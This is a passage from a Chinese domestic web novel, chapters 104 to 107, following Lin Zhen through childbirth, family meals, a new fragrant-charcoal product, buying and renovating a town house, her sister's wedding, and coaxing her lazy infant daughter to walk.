又搁这儿试探她呢? 她又不是甚文人大家,不需好纸留墨宝,对那甚会稽纸,当真是不感兴趣。 “对了,纸坊那头靠河,您自个儿住的屋子难免潮气。我每月再给您额外提供两筐炭,算是给您的补贴。大壮也一样,我再请沈家给牵两条好狗来,细心养着,幫着看家护院。” 这时候造纸,多仰赖地利,沤料、漂洗、排污,都要靠着水流量大江河,还要建在下游地段。 如此一来,纸坊便建得偏僻了些。 严格说起来,那头已不是枣儿村的地界。 买地有杨典史帮忙,没废波折,地价也便宜许多;可后头建房,林真是花了大价钱的,连带着后头安置人也得多花些心思。 “您先住着,若是有甚不合适的,尽管提出来。只要是纸坊产出稳定,我不会亏待您的。”—— 作者有话说:还没出生的崽子:好多锅啊[狗头] 第104章 纸坊的事儿一定下, 林真是再无甚事儿可操心。 她像是忽然起了童心似的,每日東游西逛,虽没招猫逗狗掐花打柳的, 可盯着人捞菱角剥莲蓬,一瞧便是大半个时辰,居然也能瞧出乐趣来。 一大家子都纵着她,私下还说:这些年真姐儿着实辛苦, 也是近来家里日子好过, 不肖多操心, 她心里松快了,才能如此。 临近乞巧节,燕儿还摘了千层红来给她染指甲。 “十指纤纤玉笋红,折騰大半日, 染出来这颜色确实好看。”林真盯着盯着,突然道, “想吃橘子了。” 她现在就是这样, 思维跳跃得很。 “纤手破新橙, 倒是应景儿。”燕儿笑道,“可惜这时节没有柑橘, 吃葡萄可成?” 口中酸水已泛滥, 林真点头:“好呀!能吃湃过的不?” 燕儿无奈, 又见林真只着半臂纱衣, 可额上还是有点点細汗。 心疼阿姐有孕辛苦的燕儿,最终还是端了一小盤湃过的葡萄来。 林真吃着葡萄, 还使坏:“葡萄哪来的?除了葡萄没捎带诗笺?” “自是有的,可我就不给阿姐看!” 下半晌,忙过早市又巡了铺子的賀景家来, 先在净房洗去一身汗味儿,又打了凉沁沁的井水来。 屋子里摆了两只敞口的盆儿,灌满凉沁沁的井水,用来散热解暑。 将屋子里的水换过,又绞了冷帕子给林真擦脖颈和手臂,賀景眉头微皱:“这天儿愈发热,我去买些冰来放屋子里,好歹能凉快些。” “别,家里不算热,再将两扇窗子都打开,有风吹进来就凉快了。” 虽说家里现今不是用不起冰,可林真自来对物价敏感得很,瞧见冰盆子里的凉气儿,脑子里定然冒出的是铜子儿,只怕会肉疼。 如此,还是不用得好。 家里的凉井水也很好,一日换三次,又有各色果子点心吃着,话本子看着,她并不覺着多难熬。 賀景瞧着林真,又想起岑大夫私下叮嘱的话,突然道:“俩孩子就挺好,咱不求多子多福,就要俩。好生教导着,比一串泥猴子好。往后,换我吃药。” 林真盯着人直笑,还伸手摸了摸賀景的俊脸:“我覺着你现在可俊可俊了。” “你少招惹人。”贺景按下林真作亂的手,反将一军,“我吃寒瓜去了,你只能吃蜜瓜。” “哼!”林真瞬间翻脸不认人,“赶緊走,赶緊走,寒瓜吃多了肚子疼,我才不稀罕!” 再晚些时候,是背着小书包下学堂的平安。 他现今在外头也不当小君子了,下学后就倒騰着俩小胖腿,一溜烟儿往家跑,回回都跑得一头一脸的汗。 瞧见爹娘都在,平安高興得很,原地蹦跶了两下,先与林真问好,随后便由着贺景牵着去擦洗身子。 换了身轻薄衣衫收拾清爽后,平安与林真双双捧了一盏子豆儿水吃。 他晓得娘親怕热,并不靠着林真,只将身子轉向林真,小嘴嘚啵嘚啵说起今日在学堂又学了些甚。 休息片刻后,平安很是自覺,将小书包拿来,自去做功课。 贺景在一旁盤账,林真捧着游记看。 打眼瞧着,一家子都拿着书本,像模像样的。 晚间吃罷夕食,趁着凉快,一家子又大手牵小手在院儿里散步消食。 再晚些时候,梳洗过后,平安便会捧了书来,讀给林真和妹妹听。 他自打讀书后,每日早晚都会诵讀课文,从前是在自个儿的屋子里读,如今换了地方。 因着有一回,林真陪着他读书时,听着听着居然睡过去了,且睡得十分香甜。 平安便认定,这是他哄睡了妹妹,教娘親也好眠。 打那日后,平安夜间诵读就换了地方,偏生还就那麽巧,他回回读书,林真回回都会睡着。 私下里,林真还对贺景嘀咕:“这二崽子,怕是个不爱读书的。” 贺景瞧着每日夜里,在平安的诵读声中睡过去的林真,着实不晓得如何反驳。 日子慢悠悠,院儿里的枣子先落了满地;然后是桂花丰盈的香气和桂花蜜的香甜;紧接着,便是斗菊吃花糕;冷风一吹,冷冽的空气中忽而多添了一股幽香。 腊梅送香,年关将至。 今年祭祖,林真总算是不肖去了。 有更多的妇人和女子站在祠堂那头,学堂出一个代表,香炭那头出一个,再有林弘川的阿奶,加上族长夫人,四人齐刷刷站在里头。 族人虽嘀咕几句,可興许是瞧林真瞧得多了,今年只多出俩人来,倒是无人说些甚。 林屠户家来时,整好听见林真在说:“那些肉菜便罷了,先前吃五辛盘时,你制的那薄饼倒是好吃。咱多備些小菜,用薄饼裹着吃。” 至于五辛盘,那算了,她着实吃不来生韭、生蒜的。 “那也成,只是这时节倒没甚鲜嫩的素菜,我炒个瓜齑,多放酱瓜絲和笋干絲,鸡脯肉丝和虾米少放些,可成?” 这是燕儿的声音。 林屠户听了也觉爽口,进门去,笑着道:“前儿不是得了好香油麽,再拌个豆腐来吃。” 这些年,林家众人的口味早变了,大鱼大肉的油荤不乐意吃,倒是喜欢清淡些的小菜。 屋子里早早生了炭,暖融融的,年夜饭自然吃得热闹。 晚间守岁,又有消夜果子合,攒盒里头放了核桃仁、葡萄干、炒栗子与各色蜜饯,燕儿还亲手制了低糖版的澄沙团,林真也能吃。 不过,甘蔗和甜萝卜熬煮的沆瀣浆她是吃不得了,燕儿专专用黄铜茶吊子给她熬了健脾解腻的豆蔻熟水吃。 一家子围坐一处,还打叶子牌。 没玩儿多久,林屠户便教林真和平安都去歇着。 “大景陪着去,守夜有我们呢,反正我们这年纪了,觉少。” 林真笑着道:“爹,四十多岁正是闯荡的年纪,哪里就至人老觉少的地步了?您刚才胡牌的时候,多精神?” “去去去,晓得你要数筹子,我认输,不差你这几个子儿。”一晚上,他就胡了两把。 顽笑几句,一家三口便慢慢儿回東跨院。 过年的时候,宅子里的燈笼要过了子时才会熄,此时倒不怕看不清路,可贺景扶着林真,一步一步走得很是小心。 今年过年在雨水前两日,十来日后便是惊蛰。 此时,林真的腹部已高高隆起,岑大夫说随时都有生的可能。 贺景早早便送了厚礼去,若是过年时发作,少不得要麻烦岑大夫,只能请人多担待着些。 哪晓得,一气儿到了初八,预備着要开铺子了,林真的肚子还不见动静。 家里人瞧着暗自焦急,可林真确实是一点儿感觉都没有。 贺景心下焦急,每日早上出门,不过晌便家来。幸而这些年用心培养了能担事的人手出来,此时才能脱开身。 轉眼到了元宵,夏和远送了花燈来。 给平安的是能拖着走的超大兔子灯,给燕儿的是一盏绘有美人的宫灯,林真打眼瞧着,那簪花仕女,倒是有几分像是燕儿。 “家里恁多人,哪里就需要你守着了?女儿家的最后一个元宵,去县里西门处的灯会凑凑热闹也好呀。” 燕儿在煮圆子,头也不抬,道:“阿姐又在胡说,我即便是出去了,心也是悬着的。元宵年年有,灯会也年年有,哪里就差这一回了?” 林真叹气,低头瞧着自个儿圆滚滚的肚子,小声道:“都怨你,你个林慢慢,你姑都不能出去约会了。” 燕儿端着煮好的圆子过来,小小一碗。 “阿姐尝尝味儿,若是合适,晚间就这样煮。” 这时候的圆子是无馅的糯米团,煮后配以糖、桂花和甜酒酿等佐食。 林真有孕不能吃酒酿,且还要控糖,这没滋没味儿的圆子,若是不经燕儿的手,她定然是不会吃的。 “好吃!能吃着桂花蜜的味儿,我瞧着你没加蜜呀?怎还带着一些甜味?” 林真一边说,一边又舀了一勺圆子来吃。 晓得阿姐现今对甚都感兴趣,燕儿便細细说来:“尋常的圆子个头大,不多搁些蜜便没味儿。我制的这个,小巧些,比尋常的圆子小了一半,揉面的时候……” “阿姐!你怎的了?”燕儿忽然瞧见林真在皱眉,面上有些难受似的。 林真低头:“许是要生了。” “甚?”燕儿一惊,可不过几个呼吸便镇定下来,她先教林真坐好,唤来春芽。 “阿姐要生了,先去唤你哥去请岑大夫来,再告诉我娘和吴麽麽,之后你便去寻平安,教他别往这头来,没得被吓到。” 春芽一点头便跑出去,林家顿时闹腾起来。 不过这些日子多有准备,东西也都是备齐全的,倒是没亂,众人快手快脚便全备好了。 岑大夫来的时候,锅里的水都滚过两回了。 林真被邹娘子和苗娘子架着走,见岑大夫过来了,还笑着打招呼。 又转头去看燕儿:“好了,你出去罢。去帮我守着平安,他人小鬼大的,春芽怕是按不住他。” 燕儿无法,只得出去了。 刚转出院子,就撞见跑得头发都乱了的平安。 她一把抓住平安:“别去,跟姑姑在这儿守着。不然,阿姐还要分心的。” 平安喘着气,可怜兮兮地瞧着燕儿:“姑姑,我就去看一眼,就一眼,我怕。” 燕儿搂着平安,不放人:“乖崽,咱就在这头瞧,不过去,好不好?” 白英净过手,正要进产房的时候,瞧见这姑侄俩泪眼汪汪的模样,差点儿笑出声。 “好了,好了,可别掉眼泪了。师傅说胎位好,且不是头回产子,生不得多久的。” 第105章 賀景架着骡車往家趕, 路上湿滑,只得慢行。 他難免有些心急:今日往西边儿送货,耽搁了一阵儿, 回家的时辰就晚了些,他心里总觉着焦躁得很。 果然,趕着骡車才将将进村,一眼就瞧见守在村口的範三哥。 “郎君, 东家生了, 恭喜郎君喜得千金!”範三哥迎上前去, 臉上喜气盈盈。 賀景一惊,顾不得许多,将缰绳扔给范三哥,自个儿从车上跳下来, 大步往家跑去。 进得屋去,先隔着窗户与林真说了两句话, 确认其一切都好后, 他又去换了身干净衣裳, 这才进屋去。 先去看林真:精神不错,面色瞧着也好;转头又才注意到燕儿怀里的襁褓。 燕儿笑吟吟, 抱着小崽子给他看:“姐夫抱抱, 咱家囡囡长得可好了!” 平安也在一旁点头:“妹妹, 好看!” 賀景接过来, 低头瞧见闭着眼儿睡觉的小崽,见她臉儿小小的, 抱在怀里也是轻飘飘的,不由道。 “这孩子抱着倒是轻。” 林真笑:“是呢,岑大夫说她体格子小, 所以好生些,我倒是盼着她健壮些。” 她的奶水一直不够,从前平安体壮,母乳与羊乳一起喂,倒是也養得康健。可今朝瞧着个头小小的女儿,心里便忍不住的犯愁。 賀景坐下来,腾出一只手去搂林真,宽慰道:“这有甚?咱不是一早就尋了好乳母来?今儿晚了些,明儿一早,教范三哥套了车去接人。咱甚都准备齐全的,无须忧心。” 也是,尋得的奶娘是多方打听过的,她自个儿前头的两孩子養得多是伶俐。人也和善,这厢教她带着孩儿一道来家里,恁多人照应小崽,实在无须忧心。 林真才要说话,忽然瞧见站在一旁的平安,心里一突,赶紧招手唤了平安过来。 “乖崽,怎站恁遠?过来教娘抱抱,娘今儿都没见着你呢。” 平安一喜,赶紧跑过去,他小心靠着林真,并不像往日那样将自个儿全塞在林真怀里。 “娘親小小抱一下就好,不要累着你。” 林真将大崽子捞过来,黏黏糊糊道:“娘喜欢咱平安,一点儿都不觉着累。” 贺景让开地方,将平安抱在床上去挨着林真,自个儿抱着小崽,问:“平安今朝可是吓着了?” 平安点点头,又搖搖头,“只有一点点。” 他又张开小胳膊,一脸期待地问:“爹,我能抱抱妹妹麽?” 贺景点点头,将小崽小心放在平安怀里,自个儿在一旁仔细护着。 “没个名字到底不方便,咱还是先给起个小名儿,大名你取。”林真琢磨道,“我吃圆子时,她才出来,不若唤她圆圆?” 至于元宵节出生,这林真倒是不讲究,在她看来,不论甚日子,小崽子出生的日子就是好日子。 “嗯?妹妹不是叫慢慢麽?” 贺景教林真的话惊得没缓过神来,平安先开口,他瞧瞧母親又瞧瞧爹爹,肉團團的小脸上满是疑惑。 恰在这时,平安怀里的小崽子突然‘啊’了一声。 “嘿!也成,往后便唤她林慢慢。”林真坏笑着,欣然采纳。 说了许久的话,平安愈发舍不得走,可到了他往日做功课的时辰。 他最后还是小心摸了摸妹妹,又抱了抱娘亲,这才出门去。 林真面上的笑,在瞧见平安出门后,便收了起来,正色道。 “你去给家里人都说一声,往后不许在平安面前说甚‘有了妹妹要听话’,还有甚会累着我的话。有了小崽子,難免会分心,可咱不能教平安觉着有了妹妹便冷落了他。一碗水端平是很难,可咱们当父母的也得做到。爹那头你不肖管,自有我去说。” 贺景点点头应下此事,忽而又问道:“慢慢的大名,真教我取呀?” “自然,难不成还是哄你不成?”林真打了个哈欠,觉着有些累,可还是不忘叮嘱道。 “平安若是要来此处背书,别拦着他。咱说了许久的话,慢慢也不见动弹一下,可见是个心宽的崽,教平安小声些便是了。” 贺景铺好褥子,道:“嗯,我晓得了。你放心睡罢,一切有我呢。” 林真这回坐月子,是坐足了双月。 燕儿每日变着花样的给她做吃食,又想着自个儿将要出门子,还特意编了菜谱来。 贺景也上心得不得了,先前生平安时,那会子年轻,家里事儿又忙,对有些事儿便不大上心,后头一到冷天,林真教风一吹,便觉着头疼。 岑大夫说是产后遗症,那会儿俩人才觉得后悔。 今朝怎么也得将人养好,贺景这俩月便不大出门去,夜里林真若是想吃甚,自个儿便照着燕儿写的菜谱给人做吃食。 教这样养着,林真面色红润不说,又有心思操心起其他的事儿来。 “今年四月,弘川那孩子可是要去州城考试?你封些银子去,再瞧瞧可有甚要添置的,帮着置办下来。咱们县前年升为望县,于秀才之名上,是能多取十名的。我倒是盼着他今朝得中,不然,又得从县试开始考过。” 燕儿整好在屋子里,答道:“晓得阿姐定要过问此事。我先前已打听过了,尋常的油布、号帷那些,咱自家便可采买,可有一样却是没处买。昨日才送过来,我去拿来给阿姐瞧瞧?” 也好打发打发时间,她瞧着阿姐真真是坐不住得很。 “好精巧的燭火罩子。”林真摆弄着手中一只玻璃,不,琉璃燭火罩子,甚是惊奇。 这只燭火罩子,便是放在她从前那个时代,也得赞一声精巧。 罩子整体由黃铜和玻璃制成,黃铜不说了,那大面积的罩子,居然是透明的玻璃。 此时唤作琉璃,虽不比后世的高透玻璃透若无物,可也是一丝儿杂色都不见,蠟燭点在其中,透出来的光柔和又亮堂。 燕儿指了指罩子,道:“阿姐再瞧瞧罩底儿。” 有燕儿的提醒,林真很快寻出其中关窍:“这瞧着像是双層的,可有甚说法?” 燕儿笑道:“阿姐好眼力,最底下的这一層,加水,便能降温;上面的那一层用来接蠟油。如此,便能减缓蜡烛的燃烧速度。一样的黄烛,用此烛火罩子,能多燃一炷香的时辰。” 听完燕儿的解释,林真恍然大悟。 大虞朝的院試,需连考三日。 第一日五更天时入场,第三日午时交卷,严格来说,答题的时间只有两日半,每位考生发黄烛两只。 可院試要考杂文和策论,题量瞧着不大,可需得字斟句酌,时间着实不算宽裕。若是有此烛火罩子,便能比旁人多出两炷香的时辰来。 林真叹道:“着实是好东西啊!明日,你亲自送去给那孩子,也教他晓得,这东西是你费心为他寻来的。” 燕儿摇摇头:“我不去,还是教姐夫去罢。我原就是为阿姐,不肖他承我的情。” “你这孩子,怎不听劝?你即将出嫁,教林氏能记着你的好,有好处的。”林真劝道。 燕儿靠着林真,道:“我有阿姐惦记着,有阿姐为我撑腰,这便很好。” 林真摸摸燕儿的头发,没有再劝。 翌日,便还是由着贺景封了银钱提了那烛火罩子去。 他并未多言,连这比别家丰厚许多的程仪,也只说,是答谢林弘川平日里对平安的照顾。 林弘川并不是不谙世故的性子,相反,因着家贫,后来发觉读书有些天份,他幼年就已识得人情冷暖。 见了那精巧异常的烛火罩子,又在贺景的解说下学会如何使用,他心里哪能不晓得,这是林家特意托了人,费心寻来的。 这等奇巧物件,他从未见过。 这不是寻常流通在市面上的东西,必是那等有家传之人才能得的好东西。 他并未多言,只将这份情谊暗暗记在心底。 他今朝贫困力薄,言及报答只能是空口之谈,只待他日,一飞冲天后,必当报答。 == 林真终于出月子后,已是入夏。 初夏的日头明媚可爱,只会教人感受到蓬勃的生命力,不像盛夏的日头,只教人觉着晒得慌。 林真自也是活力满满,她在屋子里闲了两个月,已是迫不及待要活动手脚了! 她来到合香炭的工房那头,先去瞧过一圈儿,见族中的女孩儿们愈发娴熟,心下满意,鼓励一番,又交代厨房今日加菜后,她自去了隔间内,研制香料。 月子里盘账,细算其中利润,自然还是香炭利润可观。 她便琢磨着,再制些其他味儿的香炭来,这还是从燕儿元宵节的那碗圆子里得来的灵感。 香炭泥与糯米团,除了颜色不一样,其他还真是挺像的。 她便学着燕儿,在炭粉和糯米里都添些窖藏的干花,又想着干花的香味定然会损失许多,她便选了本身香味便很是馥郁的桂花和腊梅。 这两样意头也好,不论哪一样,若是能合成,定然是不愁销路的。 林真慢慢试验着,记笔记的小本子密密麻麻。 大半月过去,总算教她合出了带着淡淡桂花味儿的香炭来。 至于腊梅,嗯,鲜花幽香,可合香炭需要高温暴晒。这玩意儿,温度一高,不见暗香幽幽,只有一股子沤烂的味儿。 还是桂花好,能入菜,能腌蜜,还能合香炭。 合成的桂花香炭,林真首先便送去夏夫人和夏和遠那头。 烛火罩子是夏和远费心弄来的,且一气儿送了一对来。这东西便是不谈其中暗含的阶级性,它本身便是价值不菲。 林家没恁稀罕的东西,可这香炭,算是新奇,意头又好,送出去倒也不跌份儿。 第106章 林真的香炭才制成, 转眼便是慢慢的百日宴。 此时正是盛夏,小孩儿体熱,可又用不得冰, 一家子照顾的再是精心,慢慢身上还是起了好些紅疹子。 她皮肤白皙,养得又好,软乎乎白嫩嫩浮元子似的, 紅点子起在她身上, 叫人瞧得好不心疼。 林真便托了王柘, 花了大价錢,買了两匹醒骨纱来。 醒骨纱又唤蕉布,是由芭蕉茎丝与蚕丝混合捻线织成,轻薄透气, 夏日穿来,自带清凉感。 这样的好料子, 自是要价不菲。 林真自然是要省着用, 先给慢慢裁制了两身小衣裳换着穿, 小孩儿一天一个样,剩下的料子随着她的身量变化再裁了来制衣裳, 这样便能撑过夏日。 裁新衣的时候自然没忘记平安, 也给平安制了一身里衣。 平安摇摇头, 不肯要:“妹妹长得快, 都给妹妹制衣裳,我穿的葛布也很好呀。” 林真摸摸他的小脑袋:“乖崽, 夏月也就这两三月,妹妹便是长得再快,也是小小的。娘買了两匹料子呢, 就是想教你与妹妹穿一样的小衣裳呀。这叫,嗯,兄妹装。” 六歲半的平安,再是聪慧也是小孩儿,此时听娘亲这样说,他眼睛亮晶晶:兄妹装!穿上这衣裳,人人都晓得妹妹是他的妹妹了! 遂爽快点头,还不忘与娘亲道谢。 可怜的崽子还不晓得,慢慢还小,自是可以穿着小衣裳滿地乱爬,不对,慢慢还不会爬,只会转动着小脑袋冲人笑;可六歲半的大孩子,里衣自然只能穿在外衫里头的。 众人瞧不见,他与妹妹穿一样的衣裳。 也得亏是众人瞧不见。 平安百日宴的时候,林家只请了亲近人家,可还是有携了礼物上门来賀的,后头便又多加了两张桌子。 这么些年过去,林家生意做得大,往来的人家比之昔年只会多,不会少。 慢慢的百日宴,林真便备了二十六桌席面,这回倒是能坐下,连带着不请自来的人家进门来,也不需临时擺桌子。 可这人一多,又有识货的入,便显嘈杂。 这人说一句,那人说一句,都言:林家真真是发达了,恁小的孩子穿戴得那样好。 席面儿上,自然不会有人说不中听的话,可话传了出去,自然会有人说些不中听的:小小年紀不惜福。 在枣儿村这地界,林家势大,倒是没人说出更難听的话来,可就这,已是教林屠户不痛快。 慢慢长得与林真很是挂像,又挑了父亲的好相貌来长,瞧着是精致版的林真,林屠户爱得跟什么似的。 他近年来已是不动刀子的,日子过得顺心,整日乐呵呵的。可此番冷下脸来,粗着声儿与人争论时,瞧着还是吓人。 林真哭笑不得,宽慰他爹:“圣人也有教人说的,更何况咱家?由他去罢,爹爹若是心里还不痛快,便多往縣里的宅子跑跑,瞧着匠人们好生修缮屋宅,盯着些,可要教咱家这新宅子修葺出来,与图紙上一样。这可是我花了大价錢,请都料匠出的图紙呢!” 这时候的还是需要口口相传的营造队做事还是很尽興的,可自家人去盯着点儿,夏日多买几缸子凉茶搁在那儿,也能教营造队的人更尽心些。 毕竟,心心念念的新宅子虽是到手了,可这宅子若是不好生修葺,是没法子住人的。 林真前头送出去的二十貫没白花。 包经紀收了錢,手头宽裕了,咬咬牙,教小儿子拜入一间好学塾。说来也巧,包经紀的小儿拜入学塾后,那学塾的老塾师便放出话去,直言自个儿年纪大了,精力不济,往后便不收学生了。 包经纪的小儿子,刚巧,成了老塾师最后一批学生。 为此,包经纪为林家寻屋宅的事儿,很是上心。 耗时大半年,总算是寻找了! 新宅子落在宁遠坊内的栖迟巷内,有十六间房,占地面积和地段都比先前为燕儿置办的宅子好许多。 唯一美中不足的是,宅子已然破败,无法直接拎包入住,需得好生修缮一番。 “宅子先前是一舉人老爷的屋子,地段没得说,面积也大。可惜子孙后代守不住业,陆陆续续将家业败得差不多,屋子里能卖的东西都卖光了,东西搬得空荡荡不说,这宅子曾经被隔开,赁出去过。那墙一砌,布局擺设自是教糟蹋了。需得林娘子自个儿费心拾掇,可这地段是没得说,拐个弯儿就是八興坊呢!” 包经纪神神秘秘,凑近了些,压低声儿道:“隔壁住的,是縣学的夫子,也是位舉人老爷呢!” 林真当即便拍板,将宅子买下来。 这宅子瞧着不成样子,且要价七百貫,可林真还是愿意买。 她倒不是图那甚隔壁住着的举人老爷。 愈是了解科举一道,她愈发觉着举业艰難。考中举人,便能入仕,是实实在在跨入‘士’这一阶级,真真实现了阶级跨越。 两家门第之差太大,硬凑上去,也是攀不上关系的。 她图的,是那宅子的好地段。 置办不动产,要紧的是甚?地段,地段,还是地段! 这宅子的地段这样好,再过几年,她便是转手卖出去也不会亏的。 当然了,卖家喊价虚高,自是要谈的,她挣钱也是不容易的。 最后以六百七十六贯,买下这宅子,若不是林真新合的香炭趁着大比之年,好生赚了一笔,她一时间拿出恁大一笔银钱来,也是挺肉疼的。 后续修葺屋宅还要钱呢! 桂花味的香炭,遇上三年一次的乡试,卖得格外好。 林真还暗戳戳给取了个折桂香的名儿,吉祥话一套一套儿的,能不卖疯了麽? 香炭卖得好,林真又舍了大价钱,特意请都料匠来帮着规划新宅子,至于请人统筹监工? 不好意思,林真还没富到那个地步。 请都料匠来帮着规划宅子,出图纸连带着给建宅子的营造队解说一番,已花去六十六贯。 初初听闻这报价的时候,林真差点儿以为她与都料匠不是一个时代的人。 若不是瞧在包经纪一向靠谱,那宅子又实在不成样的份儿上,她怕是转头就会走。 这通货膨胀,可真是太厉害了! 后来证明,能被尊称为‘都料’的匠人,手上不只有两把刷子,人是有真本事儿的。 林真只是瞧见图纸,一种幸福感就油然而生,这就是她的梦中情房! 一步一景,春有杏花微雨,夏有草木葳蕤,秋有红枫金桂,冬可湖心赏雪。四时皆可观景,若是能住进这样的宅子里,每日都有好心情。 日子慢悠悠,等慢慢从会翻身,到滿床乱爬,忽而又能自个儿坐起来的时候,燕儿便要出嫁了。 催妆送嫁,十月初三这一日,林家自是熱闹非常。 鞭炮震天响,红纸翻飞似蝶,萧管喧喧,香风荡荡。 林真在一阵儿吹吹打打和人声鼎沸的热闹中,瞧着那顶喜轿,带着燕儿,愈走愈遠。 送嫁之人,要有姐姐、姑妈、婶子和嫂子,按理说该有林真的位子。 可林真是招赘的当家娘子,此时却是不能亲送燕儿去夏家。 只能与林屠户和苗娘子,眼巴巴瞧着送嫁的林氏族人和燕儿走遠。 苗娘子已是泪水涟涟,林真吸吸鼻子,宽慰道:“您莫要太过伤心,燕儿就嫁在县里,咱寻常赶着骡车便可去瞧她。” 话是这样说,可林真也晓得,嫁人之后,哪有恁自由呢?娘家人上门次数多了,少不得有人要说嘴。 可当下,她只得收起这番愁绪,招待来賀的宾客。 晚间,宾客散去,热闹了一整日的屋子,便显得愈发清冷。 林真搓搓手,往西跨院儿那头瞧了一眼,回了自个儿的屋子。 平安今日兴致也不高,虽还是像往常一样,拿着课本儿诵讀文章,可整个人瞧着,恹恹的。 林真搂了人过来:“外头太冷了,屋子里炭火烧得又旺,出去一冷一热的怕是要生病。今儿就和爹娘妹妹一道睡罢?” 平安眼睛亮了亮,可又抿嘴:“可,我今年七岁了。先生说,男女七岁不同席呢。” 林真皱眉,平安口中的先生,是廖夫子。 林弘川顺利考过今年的院试,已取得秀才功名,他不过十七,自然是要继续讀书的。 他已于今年八月,入了县学读书。 平安失了启蒙老师,廖夫子自来便觉着平安聪慧,当即便将人调入他亲自带的甲字班去读书。 若不是林真拦着,他是要直接将人带到科举班去的。 当着平安的面儿,自是不好说夫子不对。 林真笑着道:“可是娘今日格外想平安,彩衣娱亲,陪着爹娘是尽孝呢!再说了,妹妹才七个月,小小的呢。” 平安这才高兴起来,乖乖洗香香后,与妹妹滚做一团。 回门那日,燕儿早早便与夏和远家来。 林真瞧着并肩而来的两人,心里满意。 进门时,瞧见夏和远还晓得留意燕儿的裙摆,她更是满意了。 夏家无长辈,林家便留小夫妻在这头吃晌午饭。 平安要上学,轻易请不得假,晌午时,一阵儿风似的跑回来。瞧见姑姑也是欢喜,乖乖见礼后,又小大人似的与贺景和林屠户一道陪着夏和远。 林真自是和苗娘子扯了燕儿说悄悄话。 “果真?来年三月,你们便要搬去新门桥那头的宅子去住?”苗娘子瞪大了眼,面上满是惊讶。 燕儿点头:“是,来年夫君除孝,自是要去县学读书的。新门桥那头的宅子离县学近,且宅屋又好,我们搬过去住,自是便利些。” 林真在一旁听着,很是高兴:“这倒是好,家里新置下的宅子离新门桥也近,你们若是搬过去,咱们来往就更是便捷了。只我得问一句,夏和远,给你透家底儿了麽?” 燕儿点点头,大大方方道:“自然,新婚那日,他便将家里的田契铺契都交与我了,阿姐放心罢。他还说,自个儿是个不善经营的,交给我,不论是赁是卖,他都会支持。” 林真点头,这是她最满意夏和远的一点:没有寻常酸儒的那套臭讲究。 夏和远孤身来慈溪安家,虽有夏夫人帮忙,可短时间内,要置业,要议亲,都是人生大事,难免匆忙。 这般匆匆置办下来的宅院,自是没有林真从蒋员外手上置换来的宅子好。 人能不矫情,没端着面子,放着更好更便捷的宅子不去住,而是与燕儿有商有量的,这便很好。 会尊重人,还不死要面子,对这般年纪的郎君来说,已是难得。 林真相信,燕儿与他,会过得很好—— 作者有话说:1 都料匠:是中国古代对营造师、总工匠的称谓,特指唐宋专门从事建筑设计及现场指挥的工匠阶层 第107章 一岁多的孩子能作甚? 该是能走能跳的, 若是胆子再大些的孩子,倒騰着小短腿儿跑上几步,也是成的。 總之, 不该是像林弘昭小朋友这样,坐着不动彈,便是要甚,也只会翘着小手指啊啊两声便罷的。 林弘昭, 就是慢慢。 慢慢的大名, 是贺景将书都快翻烂了, 又纠结许久,才终于定下的。 取‘昭’之一字,没甚特殊的含义,只取其最根本的光明之意, 盼着她往后的日子若是陷入是困境,能得一线天光。 林真手里拿着一只色彩艳丽的布老虎, 冲着坐在席子上的瓷娃娃一样的女儿道:“慢慢, 来娘这儿。” 林慢慢闻言, 抬着小脑袋瞧了一眼娘亲,很是给面子的露出个笑来, 可, 就是不见动彈。 “娘亲这儿有糖吃呢!快来。” 席子上玉雪可爱的小孩儿这回动作大了些, 她撑着两只藕节似的小胳膊站起来, 可只緩緩走了两步,就停下步子, 冲着林真笑:“咿呀啊!” 林真无奈,也走两步,又逗弄女儿过来。 林慢慢这回只肯走一步了, 且之后随着林真怎样逗,她都不肯挪动半分,几次之后,干脆一屁股坐下,自个儿玩儿席子上的小球去了。 那甚布老虎和糖,人是一点儿不稀罕。 “瞧瞧!”林真插着腰,冲躲在一旁的几人道,“她是会走的,就是懒得动!教你们还寵着,甚东西都递到她手里,半点儿也不肯教她多费力。” 慢慢本就长得好,再长开些,稍稍褪去一些奶膘后,扑闪闪的大眼睛便愈发灵动,笑起来月牙儿似的,再露出两粒小米牙来,瞧着真真是可人疼。 一家子都寵得跟什么似的,连平安也格外宠着妹妹。 他平日里多是宝贵他的书本,自个儿翻动时都很是小心。 有回散学家来,将书袋落在林真房里,不知怎的,教慢慢翻出来。 小丫头咧着小米牙糊了满书的口水,可平安愣是一点儿不生气。 林真说几句慢慢,他还要帮着辩解:“妹妹并不晓得书本不能啃,且是我自个儿没收拾好书袋,怎能怪妹妹呢?” 一家子都宠着她依着她。 她但凡要甚,翘着小指‘啊啊’两声,那东西就到了她手里;且都喜歡抱着她,小孩子学走路本就会摔,可她一摔,自个儿还没瘪嘴呢,边上的大人就心疼得不行,立刻要抱起来哄的。 如此,本就慢騰腾的慢慢,就更不乐意动弹了。 林真瞧着不像样,先去找岑大夫瞧过,又試出来这崽子就是单纯教家里人养得过于精细了,遂,在当晚,又一次召开家庭会议。 主题:关于林弘昭小朋友的教育问题。 参会人员:林家全体成员(包括平安)。 林家第二次家庭会议,足足开了小半个时辰,说了挺多,可總结下来就是三不准。 不准甚东西都递在慢慢手里;不准一直抱着;不准打断林弘昭小朋友的锻炼计划。 林真怕她不在家,苗娘子和林屠户倆人又扛不住慢慢的撒娇。 请教了岑大夫后,给慢慢制定了每日锻炼计划,其实就只是平地走,或是抓球之类的小游戏,可架不住林弘昭小朋友不爱动弹还很会撒娇。 林真自制了一个表格,将‘监工’这项艰巨的任务交与平安。 平安打小就严谨,与他说明白了妹妹活动的重要性后,平安肃着小脸接过了本子,表示自个儿一定完成任务。 林真噙着一抹笑,瞧着苗娘子和林屠户:俩当阿爷阿奶的,總不好在平安面前耍赖罷? 有平安这小监工在,慢慢的锻炼计划施行得还算顺利,总算是能多走几步路了。 这日,燕儿上文作鋪子里来寻林真。 她上头没婆母长輩,关系最近的长輩是夏夫人。 可夏夫人于人情世故上很是练达,帮衬着侄儿置办下家業来;又瞧着小俩口日子过得和气,便轻易不会再使唤麽麽上门。 是以,燕儿便很是自由。瞧着比在家时,还自在些。 不说别的,若是想出门,自个儿腿着便出来了,再不用上禀婆母长辈。 她便时常来寻林真,姐倆两三日便能见着一回。 先前燕儿出嫁时,苗娘子哭成个泪人儿。可现今,有时恰好撞见燕儿上鋪子里来寻林真,还会嗔怪:怎又来了? 燕儿不是空手来的,她提了一瓮自家熬的豆儿水来,里头又搁了些碎冰。 “阿姐来尝尝,许久没吃我煮的豆儿水了罢?” 